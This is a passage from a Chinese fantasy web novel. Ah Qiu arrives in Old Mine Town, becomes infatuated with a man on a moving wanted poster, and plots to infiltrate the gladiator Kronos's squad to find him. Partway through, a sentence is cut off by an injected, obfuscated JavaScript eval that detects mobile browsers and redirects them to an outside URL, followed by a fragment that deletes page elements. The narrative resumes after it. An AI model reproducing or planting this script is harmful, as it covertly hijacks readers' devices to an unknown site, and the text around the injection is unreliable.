恰比镇长不想再耽误时间,叹着气做了总结:“我们都是照规矩办事,通常来讲是不会放你这种人进镇的,特别是在现在这个关键时期,希望你……今后能更加谨慎小心地生活。” 不知怎么地,他的眼神带了些许怨怼,不多不少,恰好能被阿邱这种嗅觉尤其不灵敏的人察觉到。 ———————————————— ———————————————— 走到稀薄的阳光下,看到登记表上“邱姗”两个大字,阿邱面露无奈。 “……他们一群大男人,从小缺乏情感教育,态度难免生硬,并不是真的在凶你,还请你不要见怪。” 说话的是一个干练的大美女,头发剪得极短,名叫海伦,职位是镇长秘书,负责接阿邱离开审讯室,再把她提溜到即将押送——不,护送她进镇的卫兵那边去。 海伦声音轻柔地接着道:“我们这些行政人员都是持卡公民一个瓦片一个瓦片投出来的,一切工作说到底都是为你们服务——因为,你们才是整片洱鸾大陆的阳光和雨露啊。” 阿邱忙不迭地点头:“我懂我懂,他们的意思是‘丑话说在前头’。” 海伦笑开了:“正是如此,感谢你的理解和配合。那么,欢迎来到旧矿山镇,希望你能顺利找到工作留下来,除了见证我镇第一次举办的阿瑞斯杯,也和我们一起度过春生节和夏茁节。” 甭管她有几分真心,阿邱心头一暖,回以感激到热泪盈眶的眼神。 一路上,她总算逮住机会四下张望了。原来,羁押所设在郊外临时营地,这片营地多半是用于接洽从不冻港上来的选手和游客,为减轻旧矿山镇出入口的负担,特在中转处增加了一道防线。 许是担心镇上的旅馆不够用,郊外还散布着一些正在搭建的露营地,除了建筑工人,还有不少来自远郊的小商贩在其间穿梭、叫卖、挨骂、被驱赶、趁人不备再猛不丁扎回去,仿佛一生只用做这一回生意似的。隐没着新芽的枯草地上有些脏乱,分不出人手做保洁,垃圾就和劳累过度的人们躺在一块儿,还好现在不是夏天。 继续走、继续走,方向是东南,西北风倒刮着人。绕开这些混乱,远远地、如梦似幻地,小镇的拱形正门、井然有序的建筑群就从地平线上一跃而出了,著名的人工湖“炉心池”紧跟着映入眼帘,书上说,这里曾是高大的史前种族锻造兵器时用来降温的水池,本届阿瑞斯杯的擂台就设在湖中央,要是哪个选手被打飞了,正好“噗通”一声掉进水里,过热的躯体立马就能冷却下来,可有效预防内融病,主办方想得还挺周到——应该是这么解释的吧? 还没走进正门,方向一致的行人已经可用“熙熙攘攘”来形容了。“外面”的人可比“里面”的人多多啦!有美有丑、有贫有富、有好有坏,形形色色的,叫人看花了眼。 阿邱不是被押着走的,只是前后都连着半队卫兵,每个卫兵的间距保持一致,松散中带了密不透风,熙熙攘攘的行人一看这阵仗,都自觉让出通道,于是,这一趟行程难得地畅通无阻。 身上没有视线黏着,可以不用再假笑了。阿邱耷拉下脑袋,鼻涕眼泪分批次往下淌,又不想被前后的人发现,便把抽鼻子声平均分摊给了每次呼吸,不仔细听,就像是走累了在喘粗气——事实上,由于分不出第三个鼻孔帮忙喘粗气,人也的确快背过去了。 卫兵们心思细腻,贴心地为她放慢了脚步……差点撞上前面那个大哥时,阿邱才知道整个队伍都驻足了。 是让正门的卫兵给拦住了吗?不对,那是一小队浅灰色的人,穿搭风格比深灰的森林戍卫队要华丽繁复不少,说不定色相上的区别还更大呢。 浅灰队打头的那人抢先发出一串大笑,嗓音低哑,音量却过大,活像枯枝上没有眼力见的灰喜鹊,把理应趋向沉重的气氛全笑跑了。隔着半队卫兵和迷蒙的泪水,阿邱探头一看——还真是无巧不成书!虽说带了吃干醋的恶意,她的脑袋只肯记下一个模糊的轮廓,可见到真人时,也能一眼把他认出来。 还能是谁?海报男明星、娜塔莎的精神偶像、全境拢共不超过十人的B级注册角斗士,克洛诺斯。 4. 第二章 魅魔 “朋友们、朋友们!” 在失去他的很多年后,回想大哥时,阿邱总是最先想起这句开场白。 在褪色的、在发生的当时就已经褪了色的回忆里,克洛诺斯挥舞着两只蒲扇大的巴掌走过来,向深灰的一队人热情问好:“辛苦啦!你们是从不冻港过来的吧?巧了不是,我们也刚来没两天,看在天气这么好的份上,过来搭把手呗?” 然后,森林戍卫队的领头人就真的过去搭把手了……领头人竟是排在队伍最末尾的那一位?所以为什么不叫领尾人呢?该不会是一种预防阿邱脱队逃跑的手段吧?那他还不如担心担心自家队员会中途叛变,因为他满脸凶相,一看就用眉头夹死过谁的宠物苍蝇。 也不知道两位长官聊了些什么,不一会儿,一张纸在深灰色队员的手上传递开。克洛诺斯先是强硬地占用了别人宝贵的时间,看到进展顺利,才双手合十地道歉了:“不好意思,跟你们打听一点个人私事,不会耽误太多时间的。” 还能这么不要脸的吗?阿邱学起来了——不,她才学不起来,除非她也是海报男明星。 材质很好、边缘略有磨损的这张纸递到了阿邱手上,格式并不常见:一张通缉令。 哦,他们也是来逮犯人的。看向那张清晰程度远超通用技术的通缉令,起初阿邱并不在意,只从浅灰的一队人身着从未见过的制服、设计风格更符合当下的流行趋势判断出他们八成是神殿戍卫队的某个新支部。这一帮子人……咳,这个严肃整饬的组织,成天介灵活改组,常有传奇新人横空出世,为公民带来安宁与和平的新解法,那么一个小队长的“个人私事”能用到这种等级的显像技术,实在也不足为怪。 可她的漫不经心仅仅持续了两秒钟。 当阿邱看仔细了通缉令时,非常不幸的是,她即将落袋为安、盖棺定论的人生忽地化作一把风之利剑,跳到半空中聚来一场龙卷风,以强大的向心力迫使她伸出孱弱的手臂,重新把它从剑鞘里拔了出来。 马后炮少打两管,眼下的任务是,我们该如何形容阿邱当时当刻的心情? 大惊与狂喜。 可惜不能就地失色和乱舞。 通缉令上当然印着一个人,因为用到了最前沿的显像技术,这还是个会动的人,当阿邱注视他时,他也冲阿邱眨巴眨巴眼睛。 就是这双眼——都怪这双眼。远古时期,先民不了解流星的真相,只要看到它划过夜空,就会停下手中的生计朝着残留的轨迹跪拜一番,以此祈求神明的垂怜。也有一些跑步健将会抛下一切迈开腿,从此用生命去追寻一个问题的答案:划过夜空后,流星落在了哪里? 千百年后,答案浮出水面:落在了这双眼里。 还有继续跪拜流星的必要吗?化为石像、永恒地注视着这张通缉令不就好了吗! 照理说,观赏一个人可不能只看一对招子,不然别的五官长来干嘛?可阿邱却像是中了粘合咒似的,过了好久才流连忘返地从流星的终点移开目光,先是在周边粗略扫过一圈,很快又迫不及待、魂牵梦萦地看回了眼睛,根本没预备对她攥在手里的人构建出一个客观、整体的印象。 娜塔莎的鸡血和鸡汤变得寡淡,不冻港的浪里白条化为云烟,为了纯粹的感官愉悦,一个感官不健全的人张开了一身的毛孔,恣意吸纳着情绪的洗礼——是的,别不信,他人的美貌对我们的人生就是有这种疗效,阿邱看着看着,连两个疲惫不堪的鼻孔都通气了,昂首阔步多走十里地也不在话下! 她一下子想到很远很远的地方去了。最开始还停泊在世俗的岸上,展开讲讲就是:假如可以认识这个人,她就再也不消看别的男人一眼了;假如还能有幸得到这个人,女神啊,她愿就地展开精神斋戒,这辈子都只跟一个人这样那样了! 继而升华为浪漫精神:真好啊,像这样一个亮闪闪的人,竟然就生活在她的时空中!谁能想到刚走出家门两步,她就近乎遇到了自己的归处;说不定都不用等到下一个生日,在20岁这个官方推荐的最佳育龄,结婚生一胎的个人义务就能完成啦。 不仅如此,在那之前,她还要紧紧抓住流星的主人的手,和他一起去夜空下奔跑;天上还没坠下来的星星和他的双眼发出共鸣,把天幕刺得遍体鳞伤,剩下的碎片嘻嘻哈哈地落下来,分别戳在他们的脑门上;然后呢,下潜到咕嘟着红色熔岩的地心,把自己的心脏放在最红最亮的河水里洗濯一遍,再用双手血淋淋地捧到他面前;返程时,路过巨龙的峡谷,替奄奄一息的巨龙削去勇者的半颗人头,占汇率的便宜,使赏金最大化地落进口袋里…… 这样一来她就有钱去拯救世界了!拯救了世界之后……活下来、成为纯粹的人类,荣归故里——前提是,流星的主人这时候还没有被她亲死。 那么自然而然就拐到了狼灭精神,落脚点却是过早的愧疚。阿邱心虚地想着:这么好的一个人,要是跟了我,他注定要度过颠沛流离的小半生,就算口袋鼓鼓地随我一起荣归故里,大概率也会变成鳏夫……坐拥千万遗产,很难不动心思去找年轻小姑娘……那怎么行?我死了,肯定也要把他带走,过命的交情算什么,送命的交情才值得书写,为了不让场面太难看,最好是把毒苹果放在枕边,诱使他主动殉情…… 想象漫无边际,为把它变成现实,只好先回到世俗中来:不,怎么可以这样对待他?都得到流星的主人了,果然还是活下去更有性价比吧!那就不用惦记着什么拯救世界了,早早把他带到天涯海角逃命去才是正道,人生最后的为非作歹,只剩下把每个上门打扰的家伙大卸八块…… 对,活着更好!更重要的是什么呢?你看啊,不必亲口去问“可也有玉没有”,问过后也不必失望地摔点什么,更不用狡辩“看着面善心里就是旧相识”……甚至都不需要他亲自到场,看看会眨巴眼的通缉令就知道了:流星的主人脖子上,挂的不是和阿邱一模一样的项圈吗?这也就意味着,去掉性别,他们就是两个完全相等的人!从今往后,世上还会出现比他们更般配的一对璧人吗?不会了,再也不会了。 没人出声点拨她,阿邱兀自感叹起来:还是外面好哇!她早该出来看看了,不出来看看,又怎能下定决心、一下子往前看了两步呢? 腐烂的内里正在重新长出肉来,交响乐队环绕在地狱的柱状墙面上演奏进行曲,阿邱降生在这个世界的意义得到了另一重解答;压在胸口上的大石头短暂地被人拿走了,心脏像是注满了使它起飞的气体,正面情绪猛然开闸泄洪、冲垮了失落和恐惧的大坝……她一时忘了自己的“归处”是光荣离去,也忘了“另一重解答”在根源上的不可实现性。 不看场合地发起痴来当然会给他人带来困扰,虽说比起真正的疯子,阿邱的性状更像是放了个闷炸。克洛诺斯走过来,欲言又止地看向她,这尊永恒注视着通缉令的石像——看看队伍配置,多半是在押犯人,年纪轻轻做了错事,肯定有什么苦衷吧——一言不发地钉在原地快有两分钟了,脸还红得跟知更鸟的胸脯似的。 他懂,他完全懂,不合时宜的欣喜同样填满了克洛诺斯的胸膛。怎么样,清晰度很高吧、动态很仿真吧?这份狂热他可太熟悉了,同样的表情,在刚得到“拍摄”这张通缉令的设备时,他经常从镜中的自己脸上看到——显而易见,眼前的小姐也是一位显像技术发烧友!想他遮遮掩掩、苦苦追寻,走到哪里都换来“钱多了烧得慌”的白眼,如今总算找到了小一辈的同好,简直像在暴雨的海面上捞到珍珠一样难得! 只叹没工夫跟她详聊。现在的问题是,各路英雄好汉,有没有人愿意提醒一下这位小姐啊?再这样下去,她的目光怕是要在通缉令上烧出两个洞来了,独独一个五颜六色的她,闹得银蓝和绿褐规整的两队人都无法正常展开工作,不说别的,这是为她在监狱里受虐待增加理由。 克洛诺斯很替她担心。由领头人主动提出倡议是不够威风的,这是他最近刚学到的理论,于是身子一侧,冲身边那位徽章比他少一星的副队长挤眉弄眼起来。 银蓝小队的成员长得不是般般高,加上地上有个小土坡,他们无法站在同一平面上,看到队长的眼色,立即领会精神,高低错落地你撞撞我我撞撞你,肩膀挨不到,就互碰胳膊肘。 令人失去威风的任务就这么层层分派下去,最后自然而然落到了地位最低的队员头上。有个差点被副队长的胳膊肘捅到喉咙管的小队员出列了,不情不愿地走过来,冲阿邱一摊手:“小姐,看够了没?这东西造价高,弄坏了可没备份。” 克洛诺斯浑身一震:谁允许他从这个角度展开劝说的? 阿邱跟着浑身一震,大梦初醒般,把攥出了几道褶子的通缉令交还到这个小队员手上,面上的红潮也随之褪去了。 副队长憋着笑,顶到前头来接过通缉令。看样子,他是来提高这支队伍的情商天花板的:“不碍事,喜欢看就多看两眼嘛,我们又不是小气鬼。” 阿邱急忙捡回了自己的嘴皮子:“没有喜欢!对不起我下次再也不敢了。” 副队长司空见惯地摆摆手,表示并没有审判她的意思。 阿邱偷瞄一眼克洛诺斯,鼓起十万分的勇气,硬着头皮问:“长官,恕我冒昧,请问你们为什么要抓这个人?” 克洛诺斯并没有看向她,也没有正面作答,从副队长的后脑勺收回视线,拍拍那个小队员的肩膀,示意他“来都来了,你接着替人答疑”。 承担了一切的小队员撇撇嘴,语速变得飞快:“刚刚讲过很多遍了,没人通缉他,是高等显像纸的格式只有这一种,队长本来是要——要寻亲来着?” 不光是阿邱,说出“寻亲”两个字时,小队员也露出了疑惑的神色。 台阶已砌好,克洛诺斯总算肯亲自下场解释了:“咳咳,没错,差不多就是这样,所以说都是我的个人私事。” 蓦地,阿邱伸出手,一把钳住副队长的手腕,在清晰的“嘶”声中,指着纸上的那对流星问:“这位是你的弟弟?” “不是。” “那是你的祖先?” 克洛诺斯英气的眉毛抬高了:“为什么?跨度也太大了吧!” 副队长摇摇头,一个后撤步救回了自己的手腕子,也试图补救被反过来浪费的时间:“看来森林戍卫队的弟兄们和这位小姐都没什么头绪。既然这样……” “那可未必。” 阿邱朝克洛诺斯露出一个不怀好意的笑。呵呵,雕虫小技,骗得了她阿邱?话说到这份上,真相已昭然若揭:造价昂贵的通缉令、语焉不详的“个人私事”、事态紧急到半路拦住“森林戍卫队的弟兄”问话……怎么可能是寻亲嘛!百分百是对外的托辞,依她所见,他们真实的目的很可能是——寻仇。 极有可能,流星的主人手握浅灰小队的什么把柄,这才让他们忌惮如此。思及此,阿邱心情愉悦地勾勾手:“长官长官,你附耳过来。” 这一举动罔顾身份、毫无礼貌,但也不怪阿邱素质低,这都是多年吃干醋留下的惯性,谁叫克洛诺斯这么受欢迎的,一报还一报! 明眼人都能看出不妥,作为“长官”的克洛诺斯非但没有责怪,还二话不说跳下土坡,真的凑来了耳朵:“请讲请讲。” 阿邱用神秘的语气对着他黑黢黢的耳洞说:“虽然我确实没见过通缉令上的人,但我可以断言,此人来自塔尔塔洛斯。” 克洛诺斯偏头看看她脖子上的项圈:“因为你也是打那儿来的?” 哟,原来不是个蠢货啊。 阿邱眯起眼:“你很了解那地方吗?” 克洛诺斯一摊手:“完全不了解。” 那就好。阿邱小幅活动一下面部肌肉,以免自己撒谎时憋不住笑:“友情提醒一句,你们要是在路边发现了他,被他率先发起一场遭遇战,打不过是肯定的,但也没关系,因为弱点就在那个项圈下面!趁其不备摘下他的项圈,赢面很大的我跟你讲。” 谎言也分好几种,像阿邱说的这种,为了自己的生命安全着想,最好每个字都反过来理解。 克洛诺斯也确实表示了怀疑,方式很直接:“你要不要听听你在说什么?” “哎呀别演了,我哪能不知道你们压根没在寻亲——” “项圈是我亲手给他戴上的啊!” “……什么?” 这就很尴尬了。阿邱的每块面部肌肉都僵住,难道是她对真相的理解太过片面了? 克洛诺斯似是觉得气氛到了他 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克洛诺斯点点头,转身招呼队员们:“好了好了,马尔科姆、罗宾,你们两个不要再耽误别人的时间了,走吧,咱们还有正事要办呢。” 被点到名字的副队长和小队员对视一眼,瞪着那个颠倒黑白的快活背影先人一步扬长而去,低声骂了几句,整队松松散散地跟上,远远看去,活像一个游手好闲的街溜子团伙。 在领头人重新整队时,阿邱收起假笑,眯着眼睛思索起来。情况不容乐观啊,好不容易一见钟情上的男孩有个恐怖的劲敌,上一轮交手的结果还是被套了项圈在脖子上,任凭阿邱怎么吹水,也看得出他客观上技不如人,此时此刻极有可能正在亡命天涯,也不知道粮食、住所和保暖问题是怎么解决的,真叫人担心啊…… 是的,见到流星的主人后,一个鬼鬼祟祟的计划迅速成型了:她要比浅灰队伍先一步找到人,带他脱离克洛诺斯的魔爪,接着再去夜幕下奔跑……只恨那克洛诺斯未必全是靠脸吃饭的,刚才是她疏忽,没到两句就聊爆了,等这家伙回过神来,还不知道要怎么怀疑她呢! ……做掉吗?说得容易,他可是最高等级的注册角斗士啊……但人类总有防备薄弱的时刻,只要把他单独约出来、灌点酒,再用右眼…… “诸位留步,我还有几句话要说!” 蓦地,阿邱的耳朵像是被乱飞的蜜蜂撞了一记,虽然疼,但终归没有挨蛰。 熟悉的吵闹声来自刚走出去没几步又折回来的克洛诺斯——十分钟不到,怎么就熟悉了呢?阿邱还没来得及调出假笑,就被他目标明确地追到面前问:“那个,小妹妹,你刚才是不是哭过了?” 天大的坏消息啊:刚才那段“不认识路”的说辞,似乎并没有全然取信于他。除此之外,克洛诺斯带来的只剩他认为有用的消息:“你自己可能不觉得,但我感觉你的情况已经很不妙了,进了镇,一定要趁早去找调律师看看啊!” 所谓“调律师”,也就相当于我们这个位面的心理医生,不同的是,在洱鸾大陆,调律师的社会地位非常之高。 理由很简单,阿邱位面的人以情绪波长划分魔力等级,情绪才是魔法的原动力,感情的流动越是丰沛稳定、越接近“韵律和谐”的境界,成为一个优秀魔法师的概率就越大;由于人类已存在了成百上千年,早就是可以轻松控制情绪的高智种族了,算起来,全境公民都是各有所长的优秀魔法师——角斗士的裁定标准则更为简单粗暴,我看这章也快六千字了,日后有机会再详谈,只要那时阿邱还没断气。 说回阿邱本人,她总是很难控制自己的情绪波动,且非常纯粹地只走两个极端:要么彻底萎靡不振,要么就是刚才那种程度的狂喜——未必全是出于色欲,余下的全靠演技。克洛诺斯也没说错,就算是为了自己,她也的确应该定期找调律师调理调理了。 不过有件事必须考虑进去,这种情况跟她体内那半拉不稳定的魔血大有关系;调律师的费用很高,还不如挖一挖病株的根子:只要变成纯粹的人类、她人生中的全部问题就都能迎刃而解了! 在长官面前露出这些心思简直就是找打,阿邱干吞空气时用喉咙抵了一下项圈,努力挤出一副感激的表情:“谢谢,我会去的,我当然会去的。” 克洛诺斯却怎么都嫌不够似的,又从怀里掏出一支棒棒糖:“还有这个,给你吃!” 阿邱接过来,诧异得不知说什么才好,只能机械地读出包装上的字:“西瓜味的啊?” “是的是的。说到西瓜,你第一次来瓦德密尔可能不知道,在咱们这边,开了春就有大西瓜吃哦!” 克洛诺斯这人是不是有病啊?他老家是瓦德密尔的吗?是吗?谁跟他“咱们”啊?谁需要他用哄小孩的口气搞科普了啊?还手舞足蹈地比划起了西瓜的大小,图什么呢? “这样么。”不对,需要掩饰厌恶的阿邱应该这么说:“哦——真的吗?那太好啦。” 当然是真的,她可以回答她自己,毕竟瓦德密尔是一座集多重矛盾于一身的城邦,既囊括了最茂密的森林,又包含着境内唯一在占地面积上算“沙漠”的区域,沙漠边缘有戈壁滩,那上面种出来的西瓜又大又圆,甜得腻死人。 西瓜味的棒棒糖想来也是甜得腻死人,阿邱麻木地嗦着,都能脑补出它的味道了。 见她还肯吃糖,克洛诺斯高兴地拍拍她的头道:“很好,我没什么要交代的了,总之,欢迎你来到瓦德密尔!我不是瓦德密尔人,不过最近都在这块儿活动,要是得了空,你可以来找我们玩——信噪比高达30db的冰晶体镜头,啧啧啧,你懂吧?” 阿邱怔愣住。请问她该懂什么? 也不知道克洛诺斯在骄傲个什么劲儿,丢下这句话,归队的步伐都矫健了许多——老男人就是戏多! 跟着队伍重新上了路,趁人不注意,阿邱用手背把头顶蹭蹭干净,心里酸溜溜地想着:凭什么都听克洛诺斯的?他是什么了不得的魅魔吗?等着瞧吧,她阿邱一定会先找到流星的! 不过,在那之前,有人真心欢迎她来到瓦德密尔还是挺难得的,所以说,她……算了,她也可以勉为其难地感到一丝丝高兴吧。 5. 第三章 终止式 旧矿山镇不像它的名字一样老旧,走进大门,道路两旁有圆溜溜的建筑夹道欢迎,为了即将到来的选手和游客,各种灰度的房顶都重新漆亮了,显示出这个小镇柔软好客的潜质。 ——上回阿邱也有同样的错觉,虽说时隔多年,眼中的景象早已变得黯淡……真叫人发愁啊。 森林戍卫队·旧矿山镇支部。 第二轮盘问不必细述。填写了海量表格、在昏暗的反省室里捱过一下午、拿出干粮对付几口中饭或晚饭,很快夜幕就降临了。 领了钥匙走向支部招待所时,阿邱忽然被领过尾的领头人一把拉住。 “你要小心上午那帮人。”他满脸凶相地嘱咐道。 阿邱就搞不懂了——那你们还过去搭把手干嘛? 道德评判不是她关注的,斗争的嗅觉使她明白过来:伟大的魅魔克洛诺斯,与神殿戍卫队之间,耶嘿,似乎有点矛盾? 当着长官的面,她的嘴脸是八卦的:“他们到底什么来头啊?” 领头人迦南小队长说:“你不知道吗?希孚里亚的祭司不久前新设了第三进行,名称确定为‘终止式’,克洛诺斯就是现任队长。” 原来如此。撕吧了两三年,这个“第三进行”还是在争议声中诞生了啊。 正如十字城邦环绕着卫城神殿,祭司们在降临之前也紧密侍奉在女神左右,来到世俗中的身份便是四城邦、秘谷、东部海岛及游医队的七位最高领导人,由女神直接敕封,不由公民大会选举产生。 至于那位希孚里亚城的祭司嘛,照坊间传言,“发了好几年的神经了”,自上次公民大会以来一直深居简出,拒绝在任何正式场合出席,北城居民嘴上不说,心里其实都盼着新的祭司降临——也就是“换届”呢。 然而祭司的换届过程据传都是极尽血腥之能事,自打公民城邦制建立以来,境内还从未发生过一次现实中的换届,为了风平浪静的生活,祭司们只不过出了点作风问题,大家也都是睁只眼闭只眼、能忍则忍。 忍着忍着,这位北城祭司竟还变本加厉,近来的一项举措简直越过了人们的底线:他竟罔顾狄安娜女神亲自颁布的律法,大张旗鼓地组建了仅服务于他个人的武装部队,美其名曰“标准音440A”。最开始是第一进行“正格进行”,规模40余人;一年后人数扩充一倍,分出二队“变格进行”;如今第三进行都新鲜出炉了,从名称上看,“终止式”应该就是最后一队了——为了避免被换届,还知道有所收敛呢这个人。 神殿戍卫队是狄安娜女神赐予全境公民的武装力量,祭司的身份则是女神的忠仆,在世俗中的职责是向人们传达女神的智慧,并没有组建私人武装部队的资格;而“标准音”明面上是北城祭司的警卫队,规模和人员构成却是越来越不像话了,近在眼前的就是一例:为了组建第三进行,竟把克洛诺斯这个老——厉害了的角斗士纳入麾下,也不知道安的什么心。 完全不做道德评判的话,阿邱总觉得这位祭司丧失了基本的安全感,不知他的私人调律师那边怎么说——要不还是他主动让位吧?看着怪可怜的,终身制祭司哪里是好干的活儿啊。 不过,既然阿邱是在阿瑞斯杯的举办地遇到终止式的,人群聚集的地方易生是非,而普通警卫队不会专门循着是非出门,那么是否可以推断出,这个终止式算得上440A的特别机动队?寻亲说进一步失去了可信度。由此看来,浅灰的一队人从各种层面来讲都不够师出有名,受森林戍卫队戒备也是理所应当的,亏他克洛诺斯还好意思跟人称兄道弟…… 关了门,阿邱甩掉鞋子,往行军床上一趴。她没有随身行李,洗漱用品都装在戍卫队发放的水桶里,被她两脚踢到了床下面。 房间有些潮湿,墙角霉斑遍布,此外勉强算得上整洁。特殊时期,招待所的空房间很是紧俏,所以只能让她借住这一晚,好在镇长古道热肠、送佛送到西,已提前为她联系好了旅店,阿邱打算先在这边休整一夜,明天下午再去镇北的“戏梦人生”旅店报到。 出于种种原因,她必须在此地逗留一段时间,租房却需要更为长远的规划:一方面口袋里没剩几个子儿了,另一方面,只有取得不短于三个月的正式劳务合同才能签署租房合同,在洱鸾大陆,镇及以上都有这种规定。 前方道路未知遍布,可总地来说,这趟旅程的第一阶段结束得还算圆满——至少定格画面不是她灰头土脸地栽倒在夕阳下。阿邱翻个身,舒坦地晃起了双脚,身下的行军床吱嘎作响,今晚大概可以睡个好觉了吧。 西瓜糖纸掉出来,想起克洛诺斯,她又有点不高兴了。这个本该老老实实待在海报上的男人,走下了海报竟还更加讨厌:不请自来地跟她接触、操心她的自由身,还送棒棒糖她吃;嘴上说着可以再去找他们,行动上地址都没留一个——真是捉摸不透! 对此,阿邱有更加恐怖的揣测:该不会,克洛诺斯是想泡她吧?开什么玩笑啊我的女神,这男的比她大十几岁,比娜塔莎都大七八岁,他怎么好意思的? 想着想着阿邱就来劲了,不由得冷笑起来:好啊、好啊,那就让他知道知道觊觎青春美少女的后果吧! 没有嫌弃大叔的意思——克洛诺斯的年纪还说不上是大叔,只是他们这个人种的男性花期都短——两人之间最深的那道天堑是:自从阿邱看到那对流星,心里就只装得下一个人了,海报男明星输得一点也不冤。 ……糟了! 她猛地坐起身。怎么好意思笑话别人的?流星归处的芳名,她不是也忘了问吗? 那还真是不得不去一趟了。不过阿邱也能学会往好处想:目前尚不确定流星的主人喜欢什么样的人,所以接下来的很长一段时间里,她都会冷酷地没有干醋吃,想要培养一个高情商、包容万物、对社会有价值的预备救世主/现任好公民的新人设,眼下就是最好的时机——要知道,古往今来的英雄豪杰宜人性都很高的,仅靠打打杀杀就能拯救的世界,肯定不是什么正经世界。 一个崭新的人即将从旧阿邱的皮肤里钻出来——何不先从遗忘开始?8年的牢狱生涯、被她甩在身后的空心人们、干涸的陈年老醋……统统丢进齑言台里焚毁吧! 心理建设做得怪好,噩梦中,娜塔莎的声音仍旧清晰。 “你连他的一根汗毛都比不上!” 坐在血泊里,她抱着偶像的海报如是说。 ———— ———— 断断续续失眠一整晚,第二天清晨,阿邱很有诚信地站在了终止式·临时指挥处的门口。 快要报废的脑袋替她想清楚了:这趟行程的目的不只是问名字,想要早日找到流星的主人,她就必须放下戒心、变成泥鳅,圆滑地与高低错落的终止式搭上线,冷笑声则忍到背阴处再发出。 这帮人随身揣张通缉令,走到哪里“寻亲”到哪里,截至目前,他们掌握的肯定都是一手信息,要是能跟他们友好相处,能少走多少弯路啊!就算克洛诺斯真的想泡她,那也只能假意顺从,一旦获取了有价值的情报,她就可以卸磨杀驴了!在背阴处发出冷笑的同时,她会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052051|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不遗余力地把杀驴刀给磨快、磨亮、磨成一把削铁如泥的神兵利器,刀口就是克洛诺斯肋骨缝隙的形状,锃锃锃。 狠搓一把满脸不存在的泥巴,揉出一个温和无害的笑,阿邱敲响了那扇不到两米高的小铁门。 终止式的临时指挥处设在旧矿山镇最北部,看样子,有所收敛的北城祭司还没胆子给机动队包下一整栋楼;画有“440Hz”徽记的标牌用一根尼龙绳挂在小铁门外,算算窗户的数量,需容纳十几人的驻扎处仅占了两间商用房,旁边狭窄的楼道也有刚打扫出来的痕迹,大概连通着楼上的宿舍吧。 这个逼仄的小角落位于整座建筑最底层,而它头顶上正是旧矿山镇的最高点——地心剧院。大理石楼梯像两条巨人的胳膊,从此处一直围到剧院大门,通往那里的每一个脚步都踩在终止式的天花板上;即便只看铁门大小,不知情的游客也可能把堂堂指挥处办公室当成剧院售票处,窗口没站着售票员是因为今天没戏演。 正在心里发出感叹时,有人拍了拍阿邱的后背。 回头一看,原来是终止式的副队长,名字好像叫马尔科姆,一头短发乱糟糟的,不复昨日见面时那般整齐服帖,领带松松垮垮,眼镜也歪了。打过招呼后,他都没问阿邱的来意,径直掏出一串钥匙,慢吞吞地摸到正确的那把开了锁。 办公室里自然空无一人。大清早的,阿邱都起床慢跑一个多小时了,“一群大男人”的上班时间要晚于“是不是哭过”的她?好逊啊! 不对,看马尔科姆副队长两步一哈欠的样子,上班晚的原因很有可能还是宿醉。 阿邱在心里冷笑:“刚来没两天”的终止式昨天去办了什么正事,此刻也不难推测出来了。还能是什么?为了庆祝走马上任,哥几个喝大酒去了呗,她闻不到酒味,只能通过视觉和想象间接判断——这句话的含义是,想象这个场景时,她可以幻听到克洛诺斯无比闹耳朵的大笑声。 看来迦南小队长的担心是多余的,森林戍卫队戒备着终止式,终止式却像来观光旅游般闲适,已经输在工作体验上了不是? 阿邱也在这时对自己的新计划充满了信心。其实,无论怎么想,接近终止式能带给她的只有好处:最佳结局是杀驴刀得到了充分利用;其次是问到通缉令上项圈的来头;最坏最坏她也能搞到一张复印件拿回家里欣赏,以此鼓励自己活下去…… 她这边小算盘打得噼啪响,没注意到最深处的办公桌后传来哼唧声,忽然,顶着鸡窝头的克洛诺斯拔地而起—— 他什么时候在那里的! 阿邱吓了一大跳,克洛诺斯也字面意思地吓了一大跳,一个鲤鱼打挺从躺椅上蹦起来:“哎?这才几点呀,怎么来这么早?” 听着像早就料到阿邱会主动找上门似的,非但如此,睡意朦胧的脸上还堆满了高兴,站都没站稳,就弯下腰在抽屉里翻找起什么来。 谁自然,谁刻意,高下立判怪见了都要说一句高下立判。对面是克洛诺斯,阿邱很难不小心眼地觉得她可不能输在开场,于是在副队长诧异的视线中一个箭步上前,用表演舞台剧的仪态,把事先准备好的谎话一股脑全抛了出来: “早上好克洛诺斯队长,昨天的会面可真是令人心潮澎湃啊!在那之后我辗转反侧一整晚,终于做出一个重要决定:尽管外界的声音普遍认为你们是——是反派,我却不这么认为,恰好我也有一些被人误解的经验,今天来到这里,就是为了向你投诚!请相信,有了我这个左膀右臂,你们的阴……计划,一定能逆风翻盘、一路高歌!” 6. 第四章 豆子 在阿瓦隆神学院读预科的三年以来,阿邱不仅恶补了洱鸾史、魔法通识和十字城邦公民行为规范,还从有限开放的书籍、讲座中积累了大量实践的理论知识——譬如说,怎样不着痕迹地打探消息,还能不被对方看出真实意图。 就刚才而言,她的表现简直称得上天衣无缝,发言结束,腰板都挺直了不少。 结果却显示,她的努力换来了一个捂嘴憋笑的副队长,以及一个满脸迷茫的正队长。 克洛诺斯甚至在挠头:“你刚才说了什么吗?” 他的关注点全在从抽屉拿出来的一只黑色小皮包上。小皮包由低调奢华的暗纹所覆盖,看着有些年头了,银质扣子却擦得锃光瓦亮。 “不管了。”他说不管还真就不管了,长腿一迈从桌上跨出来,把阿邱硬拽过来,兴奋地指着小包道:“快、快,打开看看!” 看不穿对方的意图,阿邱只得应声照办。包里装的是一台小巧的成影仪,这东西不仅能记录实时画面,还能提取并导出人们记忆中的影像,与昂贵的显像纸配合,成像清晰度现已能如见其人,那张通缉令用的就是洱鸾大陆最先进的显像技术,不是人人都配享有的,否则克洛诺斯也不会献宝似地拿出来。 